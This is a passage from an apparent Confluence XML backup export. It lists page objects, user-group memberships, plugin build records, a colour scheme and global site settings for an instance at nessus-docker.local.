|
||||
</element>
|
||||
<element class="Page" package="com.atlassian.confluence.pages"><id name="id">98317</id>
|
||||
</element>
|
||||
<element class="Page" package="com.atlassian.confluence.pages"><id name="id">98318</id>
|
||||
</element>
|
||||
<element class="Page" package="com.atlassian.confluence.pages"><id name="id">98320</id>
|
||||
</element>
|
||||
<element class="Page" package="com.atlassian.confluence.pages"><id name="id">98321</id>
|
||||
</element>
|
||||
<element class="Page" package="com.atlassian.confluence.pages"><id name="id">98322</id>
|
||||
</element>
|
||||
<element class="Page" package="com.atlassian.confluence.pages"><id name="id">98332</id>
|
||||
</element>
|
||||
</collection>
|
||||
</object>
|
||||
<object class="Page" package="com.atlassian.confluence.pages">
|
||||
<id name="id">98326</id>
|
||||
<property name="hibernateVersion">13</property>
|
||||
<property name="title"/><property name="lowerTitle"/><collection name="contentProperties" class="java.util.Collection"><element class="ContentProperty" package="com.atlassian.confluence.content"><id name="id">262194</id>
|
||||
</element>
|
||||
</collection>
|
||||
<property name="version">1</property>
|
||||
<property name="creationDate">2020-10-26 15:44:29.341</property>
|
||||
<property name="lastModificationDate">2023-11-09 06:03:52.093</property>
|
||||
<property name="versionComment"><![CDATA[]]></property>
|
||||
<property name="contentStatus"><![CDATA[draft]]></property>
|
||||
<property name="space" class="Space" package="com.atlassian.confluence.spaces"><id name="id">131073</id>
|
||||
</property>
|
||||
<property name="position"/><property name="parent" class="Page" package="com.atlassian.confluence.pages"><id name="id">98319</id>
|
||||
</property>
|
||||
<collection name="ancestors" class="java.util.List"><element class="Page" package="com.atlassian.confluence.pages"><id name="id">98319</id>
|
||||
</element>
|
||||
</collection>
|
||||
</object>
|
||||
<object class="Page" package="com.atlassian.confluence.pages">
|
||||
<id name="id">98325</id>
|
||||
<property name="hibernateVersion">10</property>
|
||||
<property name="title"/><property name="lowerTitle"/><collection name="contentProperties" class="java.util.Collection"><element class="ContentProperty" package="com.atlassian.confluence.content"><id name="id">262181</id>
|
||||
</element>
|
||||
</collection>
|
||||
<property name="version">1</property>
|
||||
<property name="creationDate">2020-10-26 15:44:29.341</property>
|
||||
<property name="lastModificationDate">2023-11-09 06:03:52.096</property>
|
||||
<property name="versionComment"><![CDATA[]]></property>
|
||||
<property name="contentStatus"><![CDATA[draft]]></property>
|
||||
<property name="space" class="Space" package="com.atlassian.confluence.spaces"><id name="id">131073</id>
|
||||
</property>
|
||||
<property name="position"/><property name="parent" class="Page" package="com.atlassian.confluence.pages"><id name="id">98319</id>
|
||||
</property>
|
||||
<collection name="ancestors" class="java.util.List"><element class="Page" package="com.atlassian.confluence.pages"><id name="id">98319</id>
|
||||
</element>
|
||||
</collection>
|
||||
</object>
|
||||
<object class="Page" package="com.atlassian.confluence.pages">
|
||||
<id name="id">98324</id>
|
||||
<property name="hibernateVersion">10</property>
|
||||
<property name="title"/><property name="lowerTitle"/><collection name="contentProperties" class="java.util.Collection"><element class="ContentProperty" package="com.atlassian.confluence.content"><id name="id">262179</id>
|
||||
</element>
|
||||
</collection>
|
||||
<property name="version">1</property>
|
||||
<property name="creationDate">2020-10-26 15:44:29.341</property>
|
||||
<property name="lastModificationDate">2023-11-09 06:03:52.100</property>
|
||||
<property name="versionComment"><![CDATA[]]></property>
|
||||
<property name="contentStatus"><![CDATA[draft]]></property>
|
||||
<property name="space" class="Space" package="com.atlassian.confluence.spaces"><id name="id">131073</id>
|
||||
</property>
|
||||
<property name="position"/><property name="parent" class="Page" package="com.atlassian.confluence.pages"><id name="id">98319</id>
|
||||
</property>
|
||||
<collection name="ancestors" class="java.util.List"><element class="Page" package="com.atlassian.confluence.pages"><id name="id">98319</id>
|
||||
</element>
|
||||
</collection>
|
||||
</object>
|
||||
<object class="Page" package="com.atlassian.confluence.pages">
|
||||
<id name="id">98323</id>
|
||||
<property name="hibernateVersion">7</property>
|
||||
<property name="title"/><property name="lowerTitle"/><collection name="contentProperties" class="java.util.Collection"><element class="ContentProperty" package="com.atlassian.confluence.content"><id name="id">262157</id>
|
||||
</element>
|
||||
<element class="ContentProperty" package="com.atlassian.confluence.content"><id name="id">262158</id>
|
||||
</element>
|
||||
</collection>
|
||||
<property name="version">1</property>
|
||||
<property name="creationDate">2020-10-26 15:44:29.341</property>
|
||||
<property name="lastModificationDate">2023-11-09 06:03:52.104</property>
|
||||
<property name="versionComment"><![CDATA[]]></property>
|
||||
<property name="contentStatus"><![CDATA[draft]]></property>
|
||||
<property name="space" class="Space" package="com.atlassian.confluence.spaces"><id name="id">131073</id>
|
||||
</property>
|
||||
<property name="position"/><property name="parent" class="Page" package="com.atlassian.confluence.pages"><id name="id">98319</id>
|
||||
</property>
|
||||
<collection name="ancestors" class="java.util.List"><element class="Page" package="com.atlassian.confluence.pages"><id name="id">98319</id>
|
||||
</element>
|
||||
</collection>
|
||||
</object>
|
||||
<object class="SpaceDescription" package="com.atlassian.confluence.spaces">
|
||||
<id name="id">98357</id>
|
||||
<property name="hibernateVersion">17</property>
|
||||
<property name="title"/><property name="lowerTitle"/><collection name="bodyContents" class="java.util.Collection"><element class="BodyContent" package="com.atlassian.confluence.core"><id name="id">163851</id>
|
||||
</element>
|
||||
</collection>
|
||||
<property name="version">1</property>
|
||||
<property name="creationDate">2020-04-14 11:55:11.912</property>
|
||||
<property name="lastModificationDate">2023-11-09 06:03:45.265</property>
|
||||
<property name="versionComment"><![CDATA[]]></property>
|
||||
<property name="contentStatus"><![CDATA[current]]></property>
|
||||
<property name="space" class="Space" package="com.atlassian.confluence.spaces"><id name="id">131073</id>
|
||||
</property>
|
||||
</object>
|
||||
<object class="HibernateMembership" package="com.atlassian.crowd.embedded.hibernate2">
|
||||
<id name="id">589826</id>
|
||||
<property name="parentGroup" class="InternalGroup" package="com.atlassian.crowd.model.group"><id name="id">425985</id>
|
||||
</property>
|
||||
<property name="userMember" class="InternalUser" package="com.atlassian.crowd.model.user"><id name="id">491521</id>
|
||||
</property>
|
||||
</object>
|
||||
<object class="HibernateMembership" package="com.atlassian.crowd.embedded.hibernate2">
|
||||
<id name="id">589825</id>
|
||||
<property name="parentGroup" class="InternalGroup" package="com.atlassian.crowd.model.group"><id name="id">425986</id>
|
||||
</property>
|
||||
<property name="userMember" class="InternalUser" package="com.atlassian.crowd.model.user"><id name="id">491521</id>
|
||||
</property>
|
||||
</object>
|
||||
<object class="GlobalDescription" package="com.atlassian.confluence.setup.settings">
|
||||
<id name="id">98359</id>
|
||||
<property name="hibernateVersion">1</property>
|
||||
<property name="title"/><property name="lowerTitle"/><property name="version">1</property>
|
||||
<property name="creationDate">2023-11-09 06:04:19.475</property>
|
||||
<property name="lastModificationDate">2023-11-09 06:04:19.475</property>
|
||||
<property name="versionComment"><![CDATA[]]></property>
|
||||
<property name="contentStatus"><![CDATA[current]]></property>
|
||||
</object>
|
||||
<object class="PersonalInformation" package="com.atlassian.confluence.user">
|
||||
<id name="id">98358</id>
|
||||
<property name="hibernateVersion">1</property>
|
||||
<property name="title"/><property name="lowerTitle"/><property name="version">1</property>
|
||||
<property name="creationDate">2023-11-09 06:04:18.930</property>
|
||||
<property name="lastModificationDate">2023-11-09 06:04:18.930</property>
|
||||
<property name="versionComment"><![CDATA[]]></property>
|
||||
<property name="contentStatus"><![CDATA[current]]></property>
|
||||
<property name="user" class="ConfluenceUserImpl" package="com.atlassian.confluence.user"><id name="key"><![CDATA[2c9280828bb2ac81018bb2ae01d80000]]></id>
|
||||
</property>
|
||||
</object>
|
||||
<object class="InternalGroup" package="com.atlassian.crowd.model.group">
|
||||
<id name="id">425986</id>
|
||||
<property name="name"><![CDATA[confluence-users]]></property>
|
||||
<property name="lowerName"><![CDATA[confluence-users]]></property>
|
||||
<property name="active">true</property>
|
||||
<property name="local">false</property>
|
||||
<property name="createdDate">2023-11-09 06:04:18.320</property>
|
||||
<property name="updatedDate">2023-11-09 06:04:18.320</property>
|
||||
<property name="description"/><property name="type" enum-class="GroupType" package="com.atlassian.crowd.model.group">GROUP</property>
|
||||
<property name="directory" class="DirectoryImpl" package="com.atlassian.crowd.model.directory"><id name="id">360449</id>
|
||||
</property>
|
||||
<property name="externalId"/></object>
|
||||
<object class="InternalGroup" package="com.atlassian.crowd.model.group">
|
||||
<id name="id">425985</id>
|
||||
<property name="name"><![CDATA[confluence-administrators]]></property>
|
||||
<property name="lowerName"><![CDATA[confluence-administrators]]></property>
|
||||
<property name="active">true</property>
|
||||
<property name="local">false</property>
|
||||
<property name="createdDate">2023-11-09 06:04:18.284</property>
|
||||
<property name="updatedDate">2023-11-09 06:04:18.284</property>
|
||||
<property name="description"/><property name="type" enum-class="GroupType" package="com.atlassian.crowd.model.group">GROUP</property>
|
||||
<property name="directory" class="DirectoryImpl" package="com.atlassian.crowd.model.directory"><id name="id">360449</id>
|
||||
</property>
|
||||
<property name="externalId"/></object>
|
||||
<object class="ConfluenceBandanaRecord" package="com.atlassian.confluence.setup.bandana">
|
||||
<id name="id">32802</id>
|
||||
<property name="context"><![CDATA[_GLOBAL]]></property>
|
||||
<property name="key"><![CDATA[confluence.extra.masterdetail:build]]></property>
|
||||
<property name="value"><![CDATA[<string>2</string>]]></property>
|
||||
</object>
|
||||
<object class="ConfluenceBandanaRecord" package="com.atlassian.confluence.setup.bandana">
|
||||
<id name="id">32803</id>
|
||||
<property name="context"><![CDATA[_GLOBAL]]></property>
|
||||
<property name="key"><![CDATA[com.atlassian.confluence.plugins.confluence-inline-comments:build]]></property>
|
||||
<property name="value"><![CDATA[<string>1</string>]]></property>
|
||||
</object>
|
||||
<object class="ConfluenceBandanaRecord" package="com.atlassian.confluence.setup.bandana">
|
||||
<id name="id">32800</id>
|
||||
<property name="context"><![CDATA[_GLOBAL]]></property>
|
||||
<property name="key"><![CDATA[com.atlassian.plugins.atlassian-nav-links-plugin:build]]></property>
|
||||
<property name="value"><![CDATA[<string>1</string>]]></property>
|
||||
</object>
|
||||
<object class="ConfluenceBandanaRecord" package="com.atlassian.confluence.setup.bandana">
|
||||
<id name="id">32801</id>
|
||||
<property name="context"><![CDATA[_GLOBAL]]></property>
|
||||
<property name="key"><![CDATA[com.atlassian.confluence.plugins.confluence-inline-tasks:build]]></property>
|
||||
<property name="value"><![CDATA[<string>3</string>]]></property>
|
||||
</object>
|
||||
<object class="ConfluenceBandanaRecord" package="com.atlassian.confluence.setup.bandana">
|
||||
<id name="id">32798</id>
|
||||
<property name="context"><![CDATA[_GLOBAL]]></property>
|
||||
<property name="key"><![CDATA[com.atlassian.plugins.atlassian-whitelist-core-plugin:build]]></property>
|
||||
<property name="value"><![CDATA[<string>3</string>]]></property>
|
||||
</object>
|
||||
<object class="ConfluenceBandanaRecord" package="com.atlassian.confluence.setup.bandana">
|
||||
<id name="id">32799</id>
|
||||
<property name="context"><![CDATA[_GLOBAL]]></property>
|
||||
<property name="key"><![CDATA[com.atlassian.plugins.custom_apps.hasCustomOrder]]></property>
|
||||
<property name="value"><![CDATA[<string>false</string>]]></property>
|
||||
</object>
|
||||
<object class="ConfluenceBandanaRecord" package="com.atlassian.confluence.setup.bandana">
|
||||
<id name="id">32796</id>
|
||||
<property name="context"><![CDATA[_GLOBAL]]></property>
|
||||
<property name="key"><![CDATA[com.atlassian.confluence.plugins.confluence-edge-index:build]]></property>
|
||||
<property name="value"><![CDATA[<string>1</string>]]></property>
|
||||
</object>
|
||||
<object class="ConfluenceBandanaRecord" package="com.atlassian.confluence.setup.bandana">
|
||||
<id name="id">32797</id>
|
||||
<property name="context"><![CDATA[_GLOBAL]]></property>
|
||||
<property name="key"><![CDATA[com.atlassian.crowd.embedded.admin:build]]></property>
|
||||
<property name="value"><![CDATA[<string>3</string>]]></property>
|
||||
</object>
|
||||
<object class="ConfluenceBandanaRecord" package="com.atlassian.confluence.setup.bandana">
|
||||
<id name="id">32794</id>
|
||||
<property name="context"><![CDATA[_GLOBAL]]></property>
|
||||
<property name="key"><![CDATA[com.atlassian.audit.plugin:audit-config:retention:period]]></property>
|
||||
<property name="value"><![CDATA[<string>P3Y</string>]]></property>
|
||||
</object>
|
||||
<object class="ConfluenceBandanaRecord" package="com.atlassian.confluence.setup.bandana">
|
||||
<id name="id">32795</id>
|
||||
<property name="context"><![CDATA[_GLOBAL]]></property>
|
||||
<property name="key"><![CDATA[com.atlassian.confluence.extra.team-calendars:build]]></property>
|
||||
<property name="value"><![CDATA[<string>1312121002</string>]]></property>
|
||||
</object>
|
||||
<object class="ConfluenceBandanaRecord" package="com.atlassian.confluence.setup.bandana">
|
||||
<id name="id">32792</id>
|
||||
<property name="context"><![CDATA[_GLOBAL]]></property>
|
||||
<property name="key"><![CDATA[com.atlassian.migration.agent:mp-status]]></property>
|
||||
<property name="value"><![CDATA[<string>{"pluginVersionLastChecked":"3.4.6","outdated":true,"upgradeBy":null,"timestamp":1699509836998}</string>]]></property>
|
||||
</object>
|
||||
<object class="ConfluenceBandanaRecord" package="com.atlassian.confluence.setup.bandana">
|
||||
<id name="id">32793</id>
|
||||
<property name="context"><![CDATA[_GLOBAL]]></property>
|
||||
<property name="key"><![CDATA[com.atlassian.audit.atlassian-audit-plugin:build]]></property>
|
||||
<property name="value"><![CDATA[<string>2</string>]]></property>
|
||||
</object>
|
||||
<object class="ConfluenceBandanaRecord" package="com.atlassian.confluence.setup.bandana">
|
||||
<id name="id">32790</id>
|
||||
<property name="context"><![CDATA[_GLOBAL]]></property>
|
||||
<property name="key"><![CDATA[atlassian.confluence.plugin.counter]]></property>
|
||||
<property name="value"><![CDATA[<int>3</int>]]></property>
|
||||
</object>
|
||||
<object class="ConfluenceBandanaRecord" package="com.atlassian.confluence.setup.bandana">
|
||||
<id name="id">32791</id>
|
||||
<property name="context"><![CDATA[_GLOBAL]]></property>
|
||||
<property name="key"><![CDATA[reindex.status]]></property>
|
||||
<property name="value"><![CDATA[<com.atlassian.confluence.index.status.ReIndexJob>
|
||||
<id>a051f6a2-cf76-4d3d-999d-ccfffe5e65d3</id>
|
||||
<startTime>2023-11-09T06:03:55.369232Z</startTime>
|
||||
<finishTime>2023-11-09T06:03:59.229997Z</finishTime>
|
||||
<stage>COMPLETE</stage>
|
||||
<acknowledged>false</acknowledged>
|
||||
<rebuildingProgress>
|
||||
<total>54</total>
|
||||
<processed>54</processed>
|
||||
</rebuildingProgress>
|
||||
<lastRebuildingUpdate>2023-11-09T06:03:58.418741Z</lastRebuildingUpdate>
|
||||
<nodeStatuses class="list"/>
|
||||
</com.atlassian.confluence.index.status.ReIndexJob>]]></property>
|
||||
</object>
|
||||
<object class="ConfluenceBandanaRecord" package="com.atlassian.confluence.setup.bandana">
|
||||
<id name="id">32788</id>
|
||||
<property name="context"><![CDATA[ds]]></property>
|
||||
<property name="key"><![CDATA[atlassian.confluence.colour.scheme]]></property>
|
||||
<property name="value"><![CDATA[<colourScheme>
|
||||
<colours>
|
||||
<entry>
|
||||
<string>property.style.topbarmenuselectedbgcolour</string>
|
||||
<string>#336699</string>
|
||||
</entry>
|
||||
<entry>
|
||||
<string>property.style.menuselectedbgcolour</string>
|
||||
<string>#6699cc</string>
|
||||
</entry>
|
||||
<entry>
|
||||
<string>property.style.navtextcolour</string>
|
||||
<string>#ffffff</string>
|
||||
</entry>
|
||||
<entry>
|
||||
<string>property.style.bordercolour</string>
|
||||
<string>#6699cc</string>
|
||||
</entry>
|
||||
<entry>
|
||||
<string>property.style.navselectedtextcolour</string>
|
||||
<string>#ffffff</string>
|
||||
</entry>
|
||||
<entry>
|
||||
<string>property.style.breadcrumbstextcolour</string>
|
||||
<string>#ffffff</string>
|
||||
</entry>
|
||||
<entry>
|
||||
<string>property.style.topbarcolour</string>
|
||||
<string>#003366</string>
|
||||
</entry>
|
||||
<entry>
|
||||
<string>property.style.navselectedbgcolour</string>
|
||||
<string>#003366</string>
|
||||
</entry>
|
||||
<entry>
|
||||
<string>property.style.linkcolour</string>
|
||||
<string>#326ca6</string>
|
||||
</entry>
|
||||
<entry>
|
||||
<string>property.style.navbgcolour</string>
|
||||
<string>#6699cc</string>
|
||||
</entry>
|
||||
<entry>
|
||||
<string>property.style.menuitemselectedtextcolour</string>
|
||||
<string>#ffffff</string>
|
||||
</entry>
|
||||
<entry>
|
||||
<string>property.style.menuitemselectedbgcolour</string>
|
||||
<string>#6699cc</string>
|
||||
</entry>
|
||||
<entry>
|
||||
<string>property.style.headingtextcolour</string>
|
||||
<string>#000000</string>
|
||||
</entry>
|
||||
<entry>
|
||||
<string>property.style.spacenamecolour</string>
|
||||
<string>#999999</string>
|
||||
</entry>
|
||||
<entry>
|
||||
<string>property.style.menuitemtextcolour</string>
|
||||
<string>#535353</string>
|
||||
</entry>
|
||||
<entry>
|
||||
<string>property.style.topbarmenuitemtextcolour</string>
|
||||
<string>#326ca6</string>
|
||||
</entry>
|
||||
</colours>
|
||||
</colourScheme>]]></property>
|
||||
</object>
|
||||
<object class="ConfluenceBandanaRecord" package="com.atlassian.confluence.setup.bandana">
|
||||
<id name="id">32789</id>
|
||||
<property name="context"><![CDATA[ds]]></property>
|
||||
<property name="key"><![CDATA[trash.date.migration.time]]></property>
|
||||
<property name="value"><![CDATA[<instant>2023-11-09T06:03:52.619272Z</instant>]]></property>
|
||||
</object>
|
||||
<object class="ConfluenceBandanaRecord" package="com.atlassian.confluence.setup.bandana">
|
||||
<id name="id">32818</id>
|
||||
<property name="context"><![CDATA[_GLOBAL]]></property>
|
||||
<property name="key"><![CDATA[com.atlassian.troubleshooting.thready.configuration.enabled]]></property>
|
||||
<property name="value"><![CDATA[<string>true</string>]]></property>
|
||||
</object>
|
||||
<object class="ConfluenceBandanaRecord" package="com.atlassian.confluence.setup.bandana">
|
||||
<id name="id">32819</id>
|
||||
<property name="context"><![CDATA[_CALENDAR_ee65026d81383713d11480a2da8ced1608ea1448]]></property>
|
||||
<property name="key"><![CDATA[legacySubCalendarsMigrationCutoffDate]]></property>
|
||||
<property name="value"><![CDATA[<long>1699509861003</long>]]></property>
|
||||
</object>
|
||||
<object class="ConfluenceBandanaRecord" package="com.atlassian.confluence.setup.bandana">
|
||||
<id name="id">32816</id>
|
||||
<property name="context"><![CDATA[_GLOBAL]]></property>
|
||||
<property name="key"><![CDATA[com.atlassian.analytics.client.configuration..policy_acknowledged]]></property>
|
||||
<property name="value"><![CDATA[<string>true</string>]]></property>
|
||||
</object>
|
||||
<object class="ConfluenceBandanaRecord" package="com.atlassian.confluence.setup.bandana">
|
||||
<id name="id">32817</id>
|
||||
<property name="context"><![CDATA[_GLOBAL]]></property>
|
||||
<property name="key"><![CDATA[com.atlassian.upm.log.PluginSettingsAuditLogService:log:upm_audit_log_v3]]></property>
|
||||
<property name="value"><![CDATA[<list>
|
||||
<string>{"userKey":"Confluence","date":1699509860734,"i18nKey":"upm.auditLog.upm.startup","entryType":"UPM_STARTUP","params":[]}</string>
|
||||
</list>]]></property>
|
||||
</object>
|
||||
<object class="ConfluenceBandanaRecord" package="com.atlassian.confluence.setup.bandana">
|
||||
<id name="id">32814</id>
|
||||
<property name="context"><![CDATA[_GLOBAL]]></property>
|
||||
<property name="key"><![CDATA[com.atlassian.analytics.client.configuration.uuid]]></property>
|
||||
<property name="value"><![CDATA[<string>102be6f5-2e40-4d37-bd5e-e52aef8f80fb</string>]]></property>
|
||||
</object>
|
||||
<object class="ConfluenceBandanaRecord" package="com.atlassian.confluence.setup.bandana">
|
||||
<id name="id">32815</id>
|
||||
<property name="context"><![CDATA[_GLOBAL]]></property>
|
||||
<property name="key"><![CDATA[com.atlassian.analytics.client.configuration.serverid]]></property>
|
||||
<property name="value"><![CDATA[<string>BNRR-EUMS-GPB5-FJVB</string>]]></property>
|
||||
</object>
|
||||
<object class="ConfluenceBandanaRecord" package="com.atlassian.confluence.setup.bandana">
|
||||
<id name="id">32812</id>
|
||||
<property name="context"><![CDATA[_GLOBAL]]></property>
|
||||
<property name="key"><![CDATA[com.atlassian.confluence.plugins.confluence-create-content-plugin:build]]></property>
|
||||
<property name="value"><![CDATA[<string>5</string>]]></property>
|
||||
</object>
|
||||
<object class="ConfluenceBandanaRecord" package="com.atlassian.confluence.setup.bandana">
|
||||
<id name="id">32813</id>
|
||||
<property name="context"><![CDATA[_GLOBAL]]></property>
|
||||
<property name="key"><![CDATA[gadget.counter]]></property>
|
||||
<property name="value"><![CDATA[<int>2</int>]]></property>
|
||||
</object>
|
||||
<object class="ConfluenceBandanaRecord" package="com.atlassian.confluence.setup.bandana">
|
||||
<id name="id">32810</id>
|
||||
<property name="context"><![CDATA[_GLOBAL]]></property>
|
||||
<property name="key"><![CDATA[com.atlassian.plugins.authentication.sso.config.sso-type]]></property>
|
||||
<property name="value"><![CDATA[<string>NONE</string>]]></property>
|
||||
</object>
|
||||
<object class="ConfluenceBandanaRecord" package="com.atlassian.confluence.setup.bandana">
|
||||
<id name="id">32811</id>
|
||||
<property name="context"><![CDATA[_GLOBAL]]></property>
|
||||
<property name="key"><![CDATA[com.atlassian.plugins.authentication.sso.config.show-login-form]]></property>
|
||||
<property name="value"><![CDATA[<string>true</string>]]></property>
|
||||
</object>
|
||||
<object class="ConfluenceBandanaRecord" package="com.atlassian.confluence.setup.bandana">
|
||||
<id name="id">32808</id>
|
||||
<property name="context"><![CDATA[_GLOBAL]]></property>
|
||||
<property name="key"><![CDATA[com.atlassian.upm.atlassian-universal-plugin-manager-plugin:build]]></property>
|
||||
<property name="value"><![CDATA[<string>5</string>]]></property>
|
||||
</object>
|
||||
<object class="ConfluenceBandanaRecord" package="com.atlassian.confluence.setup.bandana">
|
||||
<id name="id">32809</id>
|
||||
<property name="context"><![CDATA[_GLOBAL]]></property>
|
||||
<property name="key"><![CDATA[com.atlassian.plugins.authentication.atlassian-authentication-plugin:build]]></property>
|
||||
<property name="value"><![CDATA[<string>6</string>]]></property>
|
||||
</object>
|
||||
<object class="DirectoryMapping" package="com.atlassian.crowd.model.application">
|
||||
<id name="id">393217</id>
|
||||
<property name="application" class="ApplicationImpl" package="com.atlassian.crowd.model.application"><id name="id">327681</id>
|
||||
</property>
|
||||
<property name="directory" class="DirectoryImpl" package="com.atlassian.crowd.model.directory"><id name="id">360449</id>
|
||||
</property>
|
||||
<property name="allowAllToAuthenticate">true</property>
|
||||
<collection name="allowedOperations" class="java.util.Set"><element enum-class="OperationType" package="com.atlassian.crowd.embedded.api">UPDATE_GROUP_ATTRIBUTE</element>
|
||||
<element enum-class="OperationType" package="com.atlassian.crowd.embedded.api">CREATE_ROLE</element>
|
||||
<element enum-class="OperationType" package="com.atlassian.crowd.embedded.api">DELETE_USER</element>
|
||||
<element enum-class="OperationType" package="com.atlassian.crowd.embedded.api">UPDATE_ROLE_ATTRIBUTE</element>
|
||||
<element enum-class="OperationType" package="com.atlassian.crowd.embedded.api">UPDATE_USER</element>
|
||||
<element enum-class="OperationType" package="com.atlassian.crowd.embedded.api">UPDATE_USER_ATTRIBUTE</element>
|
||||
<element enum-class="OperationType" package="com.atlassian.crowd.embedded.api">UPDATE_GROUP</element>
|
||||
<element enum-class="OperationType" package="com.atlassian.crowd.embedded.api">CREATE_USER</element>
|
||||
<element enum-class="OperationType" package="com.atlassian.crowd.embedded.api">DELETE_ROLE</element>
|
||||
<element enum-class="OperationType" package="com.atlassian.crowd.embedded.api">CREATE_GROUP</element>
|
||||
<element enum-class="OperationType" package="com.atlassian.crowd.embedded.api">DELETE_GROUP</element>
|
||||
<element enum-class="OperationType" package="com.atlassian.crowd.embedded.api">UPDATE_ROLE</element>
|
||||
</collection>
|
||||
</object>
|
||||
<object class="ConfluenceBandanaRecord" package="com.atlassian.confluence.setup.bandana">
|
||||
<id name="id">32806</id>
|
||||
<property name="context"><![CDATA[_GLOBAL]]></property>
|
||||
<property name="key"><![CDATA[com.atlassian.confluence.plugins.confluence-collaborative-editor-plugin:build]]></property>
|
||||
<property name="value"><![CDATA[<string>1</string>]]></property>
|
||||
</object>
|
||||
<object class="ConfluenceBandanaRecord" package="com.atlassian.confluence.setup.bandana">
|
||||
<id name="id">32807</id>
|
||||
<property name="context"><![CDATA[_GLOBAL]]></property>
|
||||
<property name="key"><![CDATA[com.atlassian.confluence.plugins.confluence-roadmap-plugin:build]]></property>
|
||||
<property name="value"><![CDATA[<string>6</string>]]></property>
|
||||
</object>
|
||||
<object class="ConfluenceBandanaRecord" package="com.atlassian.confluence.setup.bandana">
|
||||
<id name="id">32804</id>
|
||||
<property name="context"><![CDATA[_GLOBAL]]></property>
|
||||
<property name="key"><![CDATA[com.atlassian.confluence.plugins.confluence-space-ia:build]]></property>
|
||||
<property name="value"><![CDATA[<string>1</string>]]></property>
|
||||
</object>
|
||||
<object class="ConfluenceBandanaRecord" package="com.atlassian.confluence.setup.bandana">
|
||||
<id name="id">32805</id>
|
||||
<property name="context"><![CDATA[_GLOBAL]]></property>
|
||||
<property name="key"><![CDATA[synchrony_collaborative_editor_app_registered]]></property>
|
||||
<property name="value"><![CDATA[<string>true</string>]]></property>
|
||||
</object>
|
||||
<object class="ConfluenceBandanaRecord" package="com.atlassian.confluence.setup.bandana">
|
||||
<id name="id">32770</id>
|
||||
<property name="context"><![CDATA[_GLOBAL]]></property>
|
||||
<property name="key"><![CDATA[confluence.server.installation.date]]></property>
|
||||
<property name="value"><![CDATA[<date>2023-11-09 06:02:30.133 UTC</date>]]></property>
|
||||
</object>
|
||||
<object class="ConfluenceBandanaRecord" package="com.atlassian.confluence.setup.bandana">
|
||||
<id name="id">32771</id>
|
||||
<property name="context"><![CDATA[_GLOBAL]]></property>
|
||||
<property name="key"><![CDATA[atlassian.confluence.settings]]></property>
|
||||
<property name="value"><![CDATA[<settings>
|
||||
<doNotSave>false</doNotSave>
|
||||
<allowCamelCase>false</allowCamelCase>
|
||||
<allowTrackbacks>false</allowTrackbacks>
|
||||
<allowThreadedComments>true</allowThreadedComments>
|
||||
<externalUserManagement>false</externalUserManagement>
|
||||
<denyPublicSignup>true</denyPublicSignup>
|
||||
<emailAdminMessageOff>false</emailAdminMessageOff>
|
||||
<almostSupportPeriodEndMessageOff>false</almostSupportPeriodEndMessageOff>
|
||||
<senMissingInLicenseMessageOff>true</senMissingInLicenseMessageOff>
|
||||
<baseUrlAdminMessageOff>false</baseUrlAdminMessageOff>
|
||||
<allowRemoteApi>false</allowRemoteApi>
|
||||
<allowRemoteApiAnonymous>false</allowRemoteApiAnonymous>
|
||||
<antiXssMode>true</antiXssMode>
|
||||
<gzippingResponse>true</gzippingResponse>
|
||||
<disableLogo>false</disableLogo>
|
||||
<sharedMode>false</sharedMode>
|
||||
<enableDidYouMean>false</enableDidYouMean>
|
||||
<enableQuickNav>true</enableQuickNav>
|
||||
<enableSpaceStyles>false</enableSpaceStyles>
|
||||
<enableOpenSearch>true</enableOpenSearch>
|
||||
<showSystemInfoIn500Page>false</showSystemInfoIn500Page>
|
||||
<showApplicationTitle>false</showApplicationTitle>
|
||||
<captchaSettings>
|
||||
<enableCaptcha>false</enableCaptcha>
|
||||
<enableDebug>false</enableDebug>
|
||||
<captchaGroups class="list"/>
|
||||
<exclude>registered</exclude>
|
||||
</captchaSettings>
|
||||
<customHtmlSettings>
|
||||
<beforeHeadEnd></beforeHeadEnd>
|
||||
<afterBodyStart></afterBodyStart>
|
||||
<beforeBodyEnd></beforeBodyEnd>
|
||||
</customHtmlSettings>
|
||||
<colourSchemesSettings>
|
||||
<colourSchemeType>custom</colourSchemeType>
|
||||
</colourSchemesSettings>
|
||||
<loginManagerSettings>
|
||||
<enableElevatedSecurityCheck>true</enableElevatedSecurityCheck>
|
||||
<loginAttemptsThreshold>3</loginAttemptsThreshold>
|
||||
</loginManagerSettings>
|
||||
<confluenceHttpParameters>
|
||||
<connectionTimeout>10000</connectionTimeout>
|
||||
<socketTimeout>10000</socketTimeout>
|
||||
<enabled>true</enabled>
|
||||
</confluenceHttpParameters>
|
||||
<attachmentMaxSize>104857600</attachmentMaxSize>
|
||||
<auditLogRetentionNumber>3</auditLogRetentionNumber>
|
||||
<auditLogRetentionUnit>Years</auditLogRetentionUnit>
|
||||
<draftSaveInterval>30000</draftSaveInterval>
|
||||
<maxAttachmentsInUI>5</maxAttachmentsInUI>
|
||||
<siteTitle>Confluence</siteTitle>
|
||||
<documentationUrlPattern>http://docs.atlassian.com/confluence/docs-{0}/{1}</documentationUrlPattern>
|
||||
<showContactAdministratorsForm>true</showContactAdministratorsForm>
|
||||
<emailAddressVisibility>email.address.public</emailAddressVisibility>
|
||||
<defaultEncoding>UTF-8</defaultEncoding>
|
||||
<maxThumbHeight>300</maxThumbHeight>
|
||||
<maxThumbWidth>300</maxThumbWidth>
|
||||
<backupAttachmentsDaily>true</backupAttachmentsDaily>
|
||||
<backupDaily>true</backupDaily>
|
||||
<backupPath>/var/atlassian/application-data/confluence/backups</backupPath>
|
||||
<nofollowExternalLinks>true</nofollowExternalLinks>
|
||||
<indexingLanguage>english</indexingLanguage>
|
||||
<globalDefaultLocale>en_GB</globalDefaultLocale>
|
||||
<dailyBackupFilePrefix>backup-</dailyBackupFilePrefix>
|
||||
<dailyBackupDateFormatPattern>yyyy_MM_dd</dailyBackupDateFormatPattern>
|
||||
<supportRequestEmail>confluence-autosupportrequests@atlassian.com</supportRequestEmail>
|
||||
<defaultSpaceHomepageTitle>Home</defaultSpaceHomepageTitle>
|
||||
<baseUrl>http://nessus-docker.local:8090</baseUrl>
|
||||
<attachmentDataStore>file.system.based.attachments.storage</attachmentDataStore>
|
||||
<displayLinkIcons>false</displayLinkIcons>
|
||||
<addWildcardsToUserAndGroupSearches>true</addWildcardsToUserAndGroupSearches>
|
||||
<xsrfAddComments>true</xsrfAddComments>
|
||||
<webSudoTimeout>10</webSudoTimeout>
|
||||
<webSudoEnabled>true</webSudoEnabled>
|
||||
<defaultUsersGroup>confluence-users</defaultUsersGroup>
|
||||
